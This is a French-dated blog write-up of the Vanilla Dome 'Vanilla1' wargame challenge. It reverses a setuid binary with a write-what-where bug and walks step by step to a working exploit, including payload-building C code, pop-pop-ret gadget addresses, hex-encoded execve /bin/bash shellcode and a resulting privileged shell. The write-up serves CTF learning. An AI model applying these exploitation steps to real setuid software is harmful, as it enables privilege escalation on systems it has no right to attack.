lundi 10 juin 2013

Vanilla1 : write-what-where exploitation (ASLR, Full RELRO, Stack cookie)

Hello,

For today article, we're going to analyze and exploit a write-what-where with
ASLR, no PIE, full RELRO and stack cookie.

This is part of a set of challenges made by sm0k: Vanilla Dome Wargame .

Let's begin.

The challenge



Before any reversing attempt, we need to launch the program to see what it does.

vanilla1@VanillaDome ~ $ ls -lash
total 76K
4.0K drwxr-xr-x  2 root          root          4.0K Apr 29 14:15 .
4.0K drwxr-x--x 10 root          root          4.0K May 15 20:52 ..
4.0K -rw-r--r--  1 root          root           127 Mar 23 05:56 .bash_logout
4.0K -rw-r--r--  1 root          root           193 Mar 23 05:56 .bash_profile
4.0K -rw-r--r--  1 root          root          3.9K Apr 29 15:47 .bashrc
 44K -rw-r--r--  1 root          root           44K Apr 29 14:15 .gdbinit
8.0K -r-sr-sr-x  1 vanilla1crack vanilla1crack 6.7K Apr 29 12:28 Vanilla1
4.0K -r--------  1 vanilla1crack vanilla1crack   19 Apr 29 12:28 key
vanilla1@VanillaDome ~ $ ./Vanilla1 
     Usage:./Vanilla1 <file>
vanilla1@VanillaDome ~ $ ./Vanilla1 key
vanilla1@VanillaDome ~ $ python -c 'print "a" * 1024' > /tmp/file.txt
vanilla1@VanillaDome ~ $ ./Vanilla1 /tmp/file.txt


Ok, it basically read some file and do stuffs with it ...

Let's reverse it



Opening GDB and disassembling main we get the following:

Dump of assembler code for function main:
   0x08048578 <+0>:    push   ebp
   0x08048579 <+1>:    mov    ebp,esp
   0x0804857b <+3>:    and    esp,0xfffffff0                   ; alignment
   0x0804857e <+6>:    sub    esp,0x1050                       ; there is a HUGE buffer and we have ebp = esp + 0x1050
   0x08048584 <+12>:    mov    eax,DWORD PTR [ebp+0x8]          ; argc
   0x08048587 <+15>:    mov    DWORD PTR [esp+0x1c],eax         ; n_arg = argc
   0x0804858b <+19>:    mov    eax,DWORD PTR [ebp+0xc]          ; argv
   0x0804858e <+22>:    mov    DWORD PTR [esp+0x18],eax         ; args = argv
   0x08048592 <+26>:    mov    eax,gs:0x14                      ; eax = stack cookie
   0x08048598 <+32>:    mov    DWORD PTR [esp+0x104c],eax       ; stack cookie (stored in gs:0x14)
   0x0804859f <+39>:    xor    eax,eax
   0x080485a1 <+41>:    cmp    DWORD PTR [esp+0x1c],0x1         ; if (n_arg <= 1) then error
   0x080485a6 <+46>:    jg     0x80485c4 <main+76>              ; else continue

   0x080485a8 <+48>:    mov    eax,DWORD PTR [esp+0x18]         ; args ptr
   0x080485ac <+52>:    mov    edx,DWORD PTR [eax]              ; program name
   0x080485ae <+54>:    mov    eax,0x8048790                    ; format = "\t Usage:%s <file>\n"
   ; printf ("\t Usage:%s <file>\n", argv[0]);
   0x080485b3 <+59>:    mov    DWORD PTR [esp+0x4],edx
   0x080485b7 <+63>:    mov    DWORD PTR [esp],eax
   0x080485ba <+66>:    call   0x8048434 <printf@plt>
   0x080485bf <+71>:    jmp    0x80486a9 <main+305>          ; bye

   ; memset (esp+0x38, 0x0, 0x1000);
   0x080485c4 <+76>:    mov    DWORD PTR [esp+0x34],0x0         ; fp = NULL;
   0x080485cc <+84>:    mov    DWORD PTR [esp+0x8],0x1000
   0x080485d4 <+92>:    mov    DWORD PTR [esp+0x4],0x0
   0x080485dc <+100>:    lea    eax,[esp+0x38]
   0x080485e0 <+104>:    mov    DWORD PTR [esp],eax
   0x080485e3 <+107>:    call   0x80483f4 <memset@plt>

   ; fp = fopen (argv[1], "r");
   0x080485e8 <+112>:    mov    edx,0x80487a3                    ; "r"
   0x080485ed <+117>:    mov    eax,DWORD PTR [esp+0x18]         ; args
   0x080485f1 <+121>:    add    eax,0x4
   0x080485f4 <+124>:    mov    eax,DWORD PTR [eax]              ; eax = args[1];
   0x080485f6 <+126>:    mov    DWORD PTR [esp+0x4],edx
   0x080485fa <+130>:    mov    DWORD PTR [esp],eax
   0x080485fd <+133>:    call   0x8048424 <fopen@plt>
   0x08048602 <+138>:    mov    DWORD PTR [esp+0x34],eax
   0x08048606 <+142>:    cmp    DWORD PTR [esp+0x34],0x0         ; if (fp == NULL) then error
   0x0804860b <+147>:    je     0x80486a9 <main+305>
   0x08048611 <+153>:    jmp    0x8048682 <main+266>          ; else fgets

   ; value1 = atoll (buffer);
   0x08048613 <+155>:    lea    eax,[esp+0x1038]                 ; this is a small buffer (ebp-0x1050+0x1038 = ebp-0x18)
   0x0804861a <+162>:    mov    DWORD PTR [esp],eax
   0x0804861d <+165>:    call   0x8048414 <atoll@plt>
   0x08048622 <+170>:    mov    DWORD PTR [esp+0x30],eax
   ; fgets (sbuffer, 0x14, fp);
   0x08048626 <+174>:    mov    eax,DWORD PTR [esp+0x34]         ; eax = fp
   0x0804862a <+178>:    mov    DWORD PTR [esp+0x8],eax
   0x0804862e <+182>:    mov    DWORD PTR [esp+0x4],0x14
   0x08048636 <+190>:    lea    eax,[esp+0x1038]                 ; sbuffer
   0x0804863d <+197>:    mov    DWORD PTR [esp],eax
   0x08048640 <+200>:    call   0x80483e4 <fgets@plt>
   ; value2 = atoll(sbuffer);
   0x08048645 <+205>:    lea    eax,[esp+0x1038]
   0x0804864c <+212>:    mov    DWORD PTR [esp],eax
   0x0804864f <+215>:    call   0x8048414 <atoll@plt>
   0x08048654 <+220>:    mov    DWORD PTR [esp+0x2c],eax
   0x08048658 <+224>:    cmp    DWORD PTR [esp+0x30],0x0         ; if (value1 == 0) then fgets
   0x0804865d <+229>:    je     0x8048682 <main+266>

   0x0804865f <+231>:    cmp    DWORD PTR [esp+0x2c],0x0         ; if (value2 == 0) then fgets
   0x08048664 <+236>:    je     0x8048682 <main+266>

   ; insert (value2, value1, esp+0x38);
   0x08048666 <+238>:    lea    eax,[esp+0x38]
   0x0804866a <+242>:    mov    DWORD PTR [esp+0x8],eax
   0x0804866e <+246>:    mov    eax,DWORD PTR [esp+0x30]         ; eax = value1
   0x08048672 <+250>:    mov    DWORD PTR [esp+0x4],eax
   0x08048676 <+254>:    mov    eax,DWORD PTR [esp+0x2c]         ; eax = value2
   0x0804867a <+258>:    mov    DWORD PTR [esp],eax
   0x0804867d <+261>:    call   0x8048534 <insert>

   ; fgets (buffer, 0x14, fp);
   0x08048682 <+266>:    mov    eax,DWORD PTR [esp+0x34]         ; eax = fp
   0x08048686 <+270>:    mov    DWORD PTR [esp+0x8],eax
   0x0804868a <+274>:    mov    DWORD PTR [esp+0x4],0x14
   0x08048692 <+282>:    lea    eax,[esp+0x1038]                 ; buffer
   0x08048699 <+289>:    mov    DWORD PTR [esp],eax
   0x0804869c <+292>:    call   0x80483e4 <fgets@plt>
   0x080486a1 <+297>:    test   eax,eax                          ; if (still data) then loop
   0x080486a3 <+299>:    jne    0x8048613 <main+155>

   ; check cookie
   0x080486a9 <+305>:    mov    eax,0x0
   0x080486ae <+310>:    mov    edx,DWORD PTR [esp+0x104c]       ; stack cookie
   0x080486b5 <+317>:    xor    edx,DWORD PTR gs:0x14
   0x080486bc <+324>:    je     0x80486c3 <main+331>

   0x080486be <+326>:    call   0x8048444 <__stack_chk_fail@plt>
   0x080486c3 <+331>:    leave 
   0x080486c4 <+332>:    ret   
End of assembler dump.


We basically have a main() which read the file with fgets() and use atoll()
in an insert function.

We can reconstruct the stack also. We can see in the code that ESP is used but
it is not convenient for calculating sizes.
We get the following stack values in the end for main():
esp+0x2c        <-> ebp-0x1050+0x2c-0x8 = ebp-0x102c    ; value2
esp+0x30        <-> ebp-0x1050+0x30-0x8 = ebp-0x1028    ; value1
esp+0x34        <-> ebp-0x1050+0x34-0x8 = ebp-0x1024    ; fp
esp+0x38        <-> ebp-0x1050+0x38-0x8 = ebp-0x1020    ; buffer (0x1000 = 4096 bytes)
esp+0x1038      <-> ebp-0x1050+0x1038-0x8 = ebp-0x20    ; sbuffer (0x14 = 20 bytes)
esp+0x104c      <-> ebp-0x1050+0x104c-0x8 = ebp-0xc     ; stack cookie

Don't forget -0x8 which correspond to seip and sebp ;).
sbuffer is a temporary buffer which is used by fgets().
value1 and value2 are integers converted from sbuffer through atoll().
fp is the file pointer used for referencing the file.

Having all the values, we can reconstruct the stack properly:
            STACK TOP = LOW ADDRESSES

            esp         |   arg0
            esp+0x4     |   arg1
        ^   esp+0x8     |   arg2                |
        |   ebp-0x102c  |   value2              |
        |   ebp-0x1028  |   value1              |
  PUSH  |   ebp-0x1024  |   fp                  |   POP
        |   ebp-0x1020  |   buffer              |
        |           .....                       |
        |   ebp-0x20    |   end buffer          |
        |   ebp-0x20    |   sbuffer             V
            ebp-0xc     |   stack cookie
            ebp         |   sebp
            ebp+0x4-blog     |   seip
            ebp+0x8     |   argc
            ebp+0xc     |   argv

            STACK BOTTOM = HIGH ADDRESSES


Following the ASM, the main should look something like this:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc, char *argv[])
{
    int value1, value2;
    FILE *fp;
    char buffer[4096], sbuffer[20];

    if (argc <= 1) {
        printf ("\t Usage:%s <file>\n", argv[0]);
        return 0;
    }

    memset (buffer, 0, 0x1000);

    fp = fopen (argv[1], "r");
    if (fp == NULL)
        return 0;

    while (fgets (sbuffer, 0x14, fp) != NULL) {
        value1 = atoll (sbuffer);
        fgets (sbuffer, 0x14, fp);
        value2 = atoll (sbuffer);
        if (value1 != 0 && value2 != 0)
            insert (value2, value1, buffer);
    }

    return 0;
}


The file is basically structured as a sequence of string values:
value1 | value2 | value1 | value2 | .... | value1 | value2

Don't forget that atoll() only convert leading characters [0-9]+ to an integer,
any following characters that are not numbers are not converted.

Now onto insert reversing:

Dump of assembler code for function insert:
   0x08048534 <+0>:    push   ebp
   0x08048535 <+1>:    mov    ebp,esp
   0x08048537 <+3>:    sub    esp,0x28
   0x0804853a <+6>:    mov    eax,DWORD PTR [ebp+0x8]              ; eax = value2
   0x0804853d <+9>:    mov    DWORD PTR [ebp-0x1c],eax
   0x08048540 <+12>:    mov    eax,DWORD PTR [ebp+0xc]              ; eax = value1
   0x08048543 <+15>:    mov    DWORD PTR [ebp-0x20],eax
   0x08048546 <+18>:    mov    eax,DWORD PTR [ebp+0x10]             ; eax = buffer
   0x08048549 <+21>:    mov    DWORD PTR [ebp-0x24],eax
   0x0804854c <+24>:    mov    eax,gs:0x14                          ; stack cookie
   0x08048552 <+30>:    mov    DWORD PTR [ebp-0xc],eax
   0x08048555 <+33>:    xor    eax,eax
   0x08048557 <+35>:    mov    eax,DWORD PTR [ebp-0x1c]
   0x0804855a <+38>:    shl    eax,0x2                              ; value2 <<= 2;
   0x0804855d <+41>:    add    eax,DWORD PTR [ebp-0x24]             ; value2 += buffer;
   0x08048560 <+44>:    mov    edx,DWORD PTR [ebp-0x20]
   0x08048563 <+47>:    mov    DWORD PTR [eax],edx                  ; *value2 = value1;
   ; stack cookie check
   0x08048565 <+49>:    mov    eax,DWORD PTR [ebp-0xc]              ; stack cookie
   0x08048568 <+52>:    xor    eax,DWORD PTR gs:0x14
   0x0804856f <+59>:    je     0x8048576 <insert+66>

   0x08048571 <+61>:    call   0x8048444 <__stack_chk_fail@plt>
   0x08048576 <+66>:    leave 
   0x08048577 <+67>:    ret   
End of assembler dump.


We thus have the following stack for insert():
            STACK TOP = LOW ADDRESSES

            esp
        ^   ebp-0x24    |   buffer          |
        |   ebp-0x20    |   value1          |
  PUSH  |   ebp-0x1c    |   value2          |   POP
        |   ebp-0xc     |   stack cookie    V
            ebp         |   sebp
            ebp+0x4     |   seip
            ebp+0x8     |   offset
            ebp+0xc     |   value
            ebp+0x10    |   buffer

            STACK BOTTOM = HIGH ADDRESSES


The interesting code is between 0x804855a and 0x8048563, the rest is mostly
setting up stuffs.
From this code we can infer that:
- buffer is in fact an array of integers (due to shl eax, 0x2 which is equal to x4)
- value2 is an offset
- value1 is a value to insert
- no return as eax value is not properly re-initialized

So it is equivalent to the following code:
void insert (int offset, int value, int *array)
{
    array[offset] = value;
}


So we can basically write an arbitrary value anywhere we want: a so called
"write-what-where".
This basically allow us to easily bypass the stack cookie.

Time for exploitation.

Exploiting a write-what-where



We first need to know what to write, there are multiple possibilities:
- SEIP (return to code)
- SEBP (then craft a fake stack frame and all necessary stuffs)
- atexit destructors
- DYNAMIC FINI
- GOT entry
- etc
Since this is a write-what-where and we want a reliable exploit, the
__stack_chk_fail GOT entry would have been a nice target.
Unlucky for us: RELRO so no way.
We will target a stack address as the buffer address is on the stack and we
control an offset. It will be more reliable than targeting an address in the
binary (stack randomization could make the offset change between 0x804.... and
stack addresses). SEIP is the obvious candidate here.
Since we would like to trigger our payload as soon as possible, insert() SEIP
is the target.

Second condition: we need a place for our shellcode!
We'll "simply" inject it through our "integers array". There is plenty of room
(0x1000 = 4096 bytes!).
Secondly, good news: no NX, so no need for ROP here.
Given that our shellcode is around 22-50 bytes, we get at least 4000 NOPs for
our NOPsled.

Ok, now we have the theory, let's resolve that challenge!

Exploitation



In our previous section, our exploit reflexion was as follow:
- fill integer array with shellcode
- activate payload by overwriting insert() SEIP

The following snippets of code is in charge of filling the array:
int get_fsize (FILE *fp)
{
    int sz_file;
    int old_offset;

    old_offset = ftell (fp);
    fseek (fp, 0, SEEK_END);
    sz_file = ftell (fp);
    fseek (fp, old_offset, SEEK_SET);

    return sz_file;
}

// integer to ascii
char *i2a (uint32_t value)
{
    char *intstr;
    int len_intstr;

    intstr = calloc (21, sizeof(*intstr));
    memset (intstr, 'a', 19);
    snprintf (intstr, 19, "%d", value);
    len_intstr = strlen (intstr);
    if (intstr > 0)
        intstr[len_intstr] = 'a';

    return intstr;
}

struct dpatch_t *fill_array (struct dpatch_t *array, int n_elts, FILE *fp)
{
    // buffer
    char *buffer;
    // loop
    int idx_array, idx_buffer; 
    int sz_file;
    int rest;

    sz_file = get_fsize (fp);
    rest = sz_file % 4;

    // alloc buffer
    buffer = calloc (sz_file + (rest != 0 ? 4 : 0), sizeof(*buffer));
    if (!buffer)
        return NULL;

    // read
    fseek (fp, 0, SEEK_SET);
    fread (buffer, sz_file, 1, fp);

    // construct array
    for (idx_array = 0, idx_buffer = 0; idx_array < n_elts - 1; idx_array++, idx_buffer++) {
        array[idx_array].value = i2a (*((uint32_t *) buffer + idx_buffer));
        array[idx_array].offset = i2a (idx_buffer);
    }

    free (buffer);

    return array;
}


Now we need to activate our payload through the vulnerability trigger.
We need to compute our insert() SEIP offset.

ESP (insert) = ESP (main) - 0x4 (SEIP offset) - 0x4 (SEBP offset) - 0x28
             = EBP (main) - 0x1050 - 0x4 - 0x4 - 0x28
             = EBP (main) - 0x1080
EBP (insert) = ESP (main) - 0x4 (SEIP offset) - 0x4 (SEBP offset)
             = EBP (main) - 0x1050 - 0x4 - 0x4
             = EBP (main) - 0x1058

seip (insert) = buffer - (EBP (insert) + 0x4)
              = (EBP (main) - 0x1020) - (EBP (main) - 0x1058 + 0x4)
              = 0x3c


Ok, we got 0x3c (60) bytes upper on the stack and lower in memory.
So we basically are going to create an underflow.
Since there seems to be only unsigned integers but multiplied by 0x4. We need
to have "real" value:
3c = 15 * 4
Ok we got our offset, what about our value to insert?

We can avoid guessing the 4 bytes of the address.
We can do that by overwriting only 2 last bytes of insert() SEIP (it would
thus junk 2 bytes afterward but we don't really care about those).
Since we multiply by 4, this technique is not possible (it has to be a
multiple of 4).

There is an actual better solution.
Remember our insert() stack?
            STACK TOP = LOW ADDRESSES

            esp
        ^   ebp-0x24    |   buffer          |
        |   ebp-0x20    |   value1          |
  PUSH  |   ebp-0x1c    |   value2          |   POP
        |   ebp-0xc     |   stack cookie    V
            ebp         |   sebp
            ebp+0x4     |   seip
            ebp+0x8     |   offset
            ebp+0xc     |   value
            ebp+0x10    |   buffer

            STACK BOTTOM = HIGH ADDRESSES


We have buffer address laying on the stack!
We may be able to reuse it :).
Let's check:

We're going to break on:
-   0x0804867d <main+261> : call 0x8048534 <insert>
-   0x08048577 <insert+67>: ret

gdb$ b *0x0804867d
gdb$ b *0x08048577
gdb$ r /tmp/test.txt
--------------------------------------------------------------------------[regs]
  EAX: FFFFFFF1  EBX: 9CB15E54  ECX: 00000001  EDX: FFFFFFFF  o d I t S z a p c 
  ESI: 00000000  EDI: 00000000  EBP: B3D36E58  ESP: B3D35E00  EIP: 0804867D
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[007B:B3D35E00]----------------------------------------------------------[stack]
B3D35E50 : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E40 : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E30 : 00 E8 76 48  C8 61 05 08 - 00 00 00 00  00 00 00 00 ..vH.a..........
B3D35E20 : 00 00 00 00  00 00 00 00 - 00 00 00 00  F1 FF FF FF ................
B3D35E10 : 00 00 00 00  00 00 00 00 - 04 6F D3 B3  02 00 00 00 .........o......
B3D35E00 : F1 FF FF FF  00 E8 76 48 - 38 5E D3 B3  00 00 00 00 ......vH8^......
[007B:B3D35E00]-----------------------------------------------------------[data]
B3D35E00 : F1 FF FF FF  00 E8 76 48 - 38 5E D3 B3  00 00 00 00 ......vH8^......
B3D35E10 : 00 00 00 00  00 00 00 00 - 04 6F D3 B3  02 00 00 00 .........o......
B3D35E20 : 00 00 00 00  00 00 00 00 - 00 00 00 00  F1 FF FF FF ................
B3D35E30 : 00 E8 76 48  C8 61 05 08 - 00 00 00 00  00 00 00 00 ..vH.a..........
B3D35E40 : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E50 : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E60 : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E70 : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
[0073:0804867D]-----------------------------------------------------------[code]
=> 0x804867d <main+261>:    call   0x8048534 <insert>
   0x8048682 <main+266>:    mov    eax,DWORD PTR [esp+0x34]
   0x8048686 <main+270>:    mov    DWORD PTR [esp+0x8],eax
   0x804868a <main+274>:    mov    DWORD PTR [esp+0x4],0x14
   0x8048692 <main+282>:    lea    eax,[esp+0x1038]
   0x8048699 <main+289>:    mov    DWORD PTR [esp],eax
   0x804869c <main+292>:    call   0x80483e4 <fgets@plt>
   0x80486a1 <main+297>:    test   eax,eax
--------------------------------------------------------------------------------

Breakpoint 1, 0x0804867d in main ()
gdb$ gdb$ p/x $ebp-0x1020
$1 = 0xb3d35e38
gdb$ c
--------------------------------------------------------------------------[regs]
  EAX: 00000000  EBX: 9CB15E54  ECX: 00000001  EDX: 4876E800  o d I t s Z a P c 
  ESI: 00000000  EDI: 00000000  EBP: B3D36E58  ESP: B3D35DFC  EIP: 08048577
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[007B:B3D35DFC]----------------------------------------------------------[stack]
B3D35E4C : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E3C : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E2C : F1 FF FF FF  00 E8 76 48 - C8 61 05 08  00 00 00 00 ......vH.a......
B3D35E1C : 02 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E0C : 00 00 00 00  00 00 00 00 - 00 00 00 00  04 6F D3 B3 .............o..
B3D35DFC : 00 E8 76 48  F1 FF FF FF - 00 E8 76 48  38 5E D3 B3 ..vH......vH8^..
[007B:B3D35DFC]-----------------------------------------------------------[data]
B3D35DFC : 00 E8 76 48  F1 FF FF FF - 00 E8 76 48  38 5E D3 B3 ..vH......vH8^..
B3D35E0C : 00 00 00 00  00 00 00 00 - 00 00 00 00  04 6F D3 B3 .............o..
B3D35E1C : 02 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E2C : F1 FF FF FF  00 E8 76 48 - C8 61 05 08  00 00 00 00 ......vH.a......
B3D35E3C : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E4C : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E5C : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E6C : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
[0073:08048577]-----------------------------------------------------------[code]
=> 0x8048577 <insert+67>:    ret   
   0x8048578 <main>:    push   ebp
   0x8048579 <main+1>:    mov    ebp,esp
   0x804857b <main+3>:    and    esp,0xfffffff0
   0x804857e <main+6>:    sub    esp,0x1050
   0x8048584 <main+12>:    mov    eax,DWORD PTR [ebp+0x8]
   0x8048587 <main+15>:    mov    DWORD PTR [esp+0x1c],eax
   0x804858b <main+19>:    mov    eax,DWORD PTR [ebp+0xc]
--------------------------------------------------------------------------------

Breakpoint 2, 0x08048577 in insert ()
gdb$ x/10wx $esp
0xb3d35dfc:    0x08048767    0xfffffff1    0x08048767    0xb3d35e38
0xb3d35e0c:    0x00000000    0x00000000    0x00000000    0xb3d36f04
0xb3d35e1c:    0x00000002    0x00000000


0x08048767 is our rewritten SEIP :).
0xfffffff1 is -15
0x08048767 the value we gave
0xb3d35e38 is our buffer value
0xb3d36f04 point to env[]

Ok, great, we have a pointer to our buffer.
We now need an instruction of style pop pop ret.

Exploitation POP-POP-RET style



First, we need our pop-pop-ret.
$ objdump -d ./Vanilla1
...
 8048767:    5b                       pop    %ebx
 8048768:    5d                       pop    %ebp
 8048769:    c3                       ret   
...


Here we go.

The trigger is thus done this way:
    // fill array with shellcode
    fill_array (array, n_elts, fp_in);
    // set trigger
    array[n_elts-1].value = i2a (0x8048767);
    array[n_elts-1].offset = i2a(-15);

0x8048767 is the address to the pop-pop-ret.
-15 is the offset to SEIP.

Now we should have everything we need for reliable exploitation.

Let's try our sploit.

m101@m101-laptop:~/challenges/vanilla_dome$ ./exploit1.rev1 bash-p.bin payload.bin 
sz_file = 33
rest    = 1
n_elts  = 9
2d 31 37 32 32 32 38 33 31 35 38 61 61 61 61 61 61 61 61 | -1722283158aaaaaaaa
30 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 0aaaaaaaaaaaaaaaaaa
37 36 31 38 31 36 36 35 38 61 61 61 61 61 61 61 61 61 61 | 761816658aaaaaaaaaa
31 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1aaaaaaaaaaaaaaaaaa
31 33 39 30 35 31 32 34 39 36 61 61 61 61 61 61 61 61 61 | 1390512496aaaaaaaaa
32 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 2aaaaaaaaaaaaaaaaaa
37 39 35 33 37 31 36 32 36 61 61 61 61 61 61 61 61 61 61 | 795371626aaaaaaaaaa
33 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 3aaaaaaaaaaaaaaaaaa
31 37 35 32 33 39 32 30 33 34 61 61 61 61 61 61 61 61 61 | 1752392034aaaaaaaaa
34 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 4aaaaaaaaaaaaaaaaaa
31 38 35 32 34 30 30 31 37 35 61 61 61 61 61 61 61 61 61 | 1852400175aaaaaaaaa
35 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 5aaaaaaaaaaaaaaaaaa
31 33 36 34 33 38 36 36 39 37 61 61 61 61 61 61 61 61 61 | 1364386697aaaaaaaaa
36 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 6aaaaaaaaaaaaaaaaaa
2d 38 34 30 38 35 37 32 36 31 61 61 61 61 61 61 61 61 61 | -840857261aaaaaaaaa
37 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 7aaaaaaaaaaaaaaaaaa
31 32 38 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 128aaaaaaaaaaaaaaaa
38 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 8aaaaaaaaaaaaaaaaaa
31 33 34 35 31 34 35 33 35 61 61 61 61 61 61 61 61 61 61 | 134514535aaaaaaaaaa
2d 31 35 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | -15aaaaaaaaaaaaaaaa

On the remote machine:
vanilla1@VanillaDome /tmp $ ~/Vanilla1 v1.1.txt
Segmentation fault


Woot! It doesn't work!

Let's check the stack.

gdb$ b *0x08048577
Breakpoint 1 at 0x8048577
gdb$ condition 1 $edx==0x8048767
gdb$ r payload.bin


We break as soon as edx == 0x8048577 (which is our last value).
gdb$ x/10wx $esp
0xb3d35dfc:    0x08048767    0xfffffff1    0x08048767    0xb3d35e38
0xb3d35e0c:    0x00000000    0x00000000    0x00000000    0xb3d36f04
0xb3d35e1c:    0x00000002    0x00000000

gdb$ x/10wx 0xb3d35e38
0xb3d35e38:    0x00000000    0x2d686652    0x52e18970    0x2f68686a
0xb3d35e48:    0x68736162    0x6e69622f    0x5152e389    0xcde18953
0xb3d35e38:    0x00000080    0x00000000


Whoops, the first 4 bytes are never written.
That's explained by the fact that insert() isn't called if atoll() return 0.
We can fix it through 2 methods:
- put our payload somewhere else in the stack
- use arithmetic tricks

Putting our payload somewhere else



Remember about 0xb3d36f04 ?
This is our env[] pointer.

We need an address in stack to use the same trick as before with the pop-pop-ret.
gdb$ x/10wx 0xb3d36f04
0xb3d36f04:    0xbd4dea72    0xbd4dea8a    0x00000000    0xbd4dea93
0xb3d36f14:    0xbd4deb25    0xbd4deb35    0xbd4deb40    0xbd4deb64
0xb3d36f24:    0xbd4deb77    0xbd4deb85


If you check each pointers:
gdb$ x/s 0xbd4dea72
0xbd4dea72:     "/home/vanilla1/Vanilla1"
gdb$ x/s 0xbd4dea8a
0xbd4dea8a:     "payload.bin"
gdb$ x/s 0xbd4deb64
0xbd4deb64:     "SSH_TTY=/dev/pts/0"


You get environment values.
We can trash those pointers, we don't really need them (our shell won't be happy
but it'll still work).

In order to overwrite those pointers, we need our offset:
0xb3d36f04 - 0xb3d35e38 = 0x10CC = 4300


And we need to pop 6 values out of the stack.
For that, I chose 2 gadgets chained together:
0x08048735: pop ebx ; pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
0x08048503: pop ebp ; ret  ;  (1 found)


Your stack will look like this when the trigger is set up:
gdb$ x/10wx $esp
0xb3d35dfc:    0x08048735    0xfffffff1    0x08048735    0xb3d35e38
0xb3d35e0c:    0x00000000    0x08048503    0x00000000    0xb3d36f04
0xb3d35e1c:    0x00000002    0x00000000


It will return directly to 0xb3d36f04 and gain code execution.

Let's try:
m101@m101-laptop:~/challenges/vanilla_dome$ ./exploit1.rev2 bash-p.bin v1.2txt
sz_file = 33
rest    = 1
n_elts  = 9
6a 0b 58 99                                     | j.X.
52 66 68 2d                                     | Rfh-
70 89 e1 52                                     | p..R
6a 68 68 2f                                     | jhh/
62 61 73 68                                     | bash
2f 62 69 6e                                     | /bin
89 e3 52 51                                     | ..RQ
53 89 e1 cd                                     | S...
80 00 00 00                                     | ....
2d 31 37 32 32 32 38 33 31 35 38 61 61 61 61 61 61 61 61 | -1722283158aaaaaaaa
31 30 37 35 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1075aaaaaaaaaaaaaaa
37 36 31 38 31 36 36 35 38 61 61 61 61 61 61 61 61 61 61 | 761816658aaaaaaaaaa
31 30 37 36 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1076aaaaaaaaaaaaaaa
31 33 39 30 35 31 32 34 39 36 61 61 61 61 61 61 61 61 61 | 1390512496aaaaaaaaa
31 30 37 37 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1077aaaaaaaaaaaaaaa
37 39 35 33 37 31 36 32 36 61 61 61 61 61 61 61 61 61 61 | 795371626aaaaaaaaaa
31 30 37 38 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1078aaaaaaaaaaaaaaa
31 37 35 32 33 39 32 30 33 34 61 61 61 61 61 61 61 61 61 | 1752392034aaaaaaaaa
31 30 37 39 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1079aaaaaaaaaaaaaaa
31 38 35 32 34 30 30 31 37 35 61 61 61 61 61 61 61 61 61 | 1852400175aaaaaaaaa
31 30 38 30 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1080aaaaaaaaaaaaaaa
31 33 36 34 33 38 36 36 39 37 61 61 61 61 61 61 61 61 61 | 1364386697aaaaaaaaa
31 30 38 31 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1081aaaaaaaaaaaaaaa
2d 38 34 30 38 35 37 32 36 31 61 61 61 61 61 61 61 61 61 | -840857261aaaaaaaaa
31 30 38 32 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1082aaaaaaaaaaaaaaa
31 32 38 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 128aaaaaaaaaaaaaaaa
31 30 38 33 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1083aaaaaaaaaaaaaaa
31 33 34 35 31 33 39 32 33 61 61 61 61 61 61 61 61 61 61 | 134513923aaaaaaaaaa
2d 31 30 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | -10aaaaaaaaaaaaaaaa
31 33 34 35 31 34 34 38 35 61 61 61 61 61 61 61 61 61 61 | 134514485aaaaaaaaaa
2d 31 35 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | -15aaaaaaaaaaaaaaaa


On the challenge machine:
vanilla1@VanillaDome /tmp $ ~/Vanilla1 v1.2.txt
bash-4.1$ id
uid=1014(vanilla1) gid=1015(vanilla1) euid=1008(vanilla1crack) egid=1009(vanilla1crack) groups=1009(vanilla1crack),1015(vanilla1)
bash-4.1$ pwd
/tmp
bash-4.1$ cd
bash: cd: HOME not set
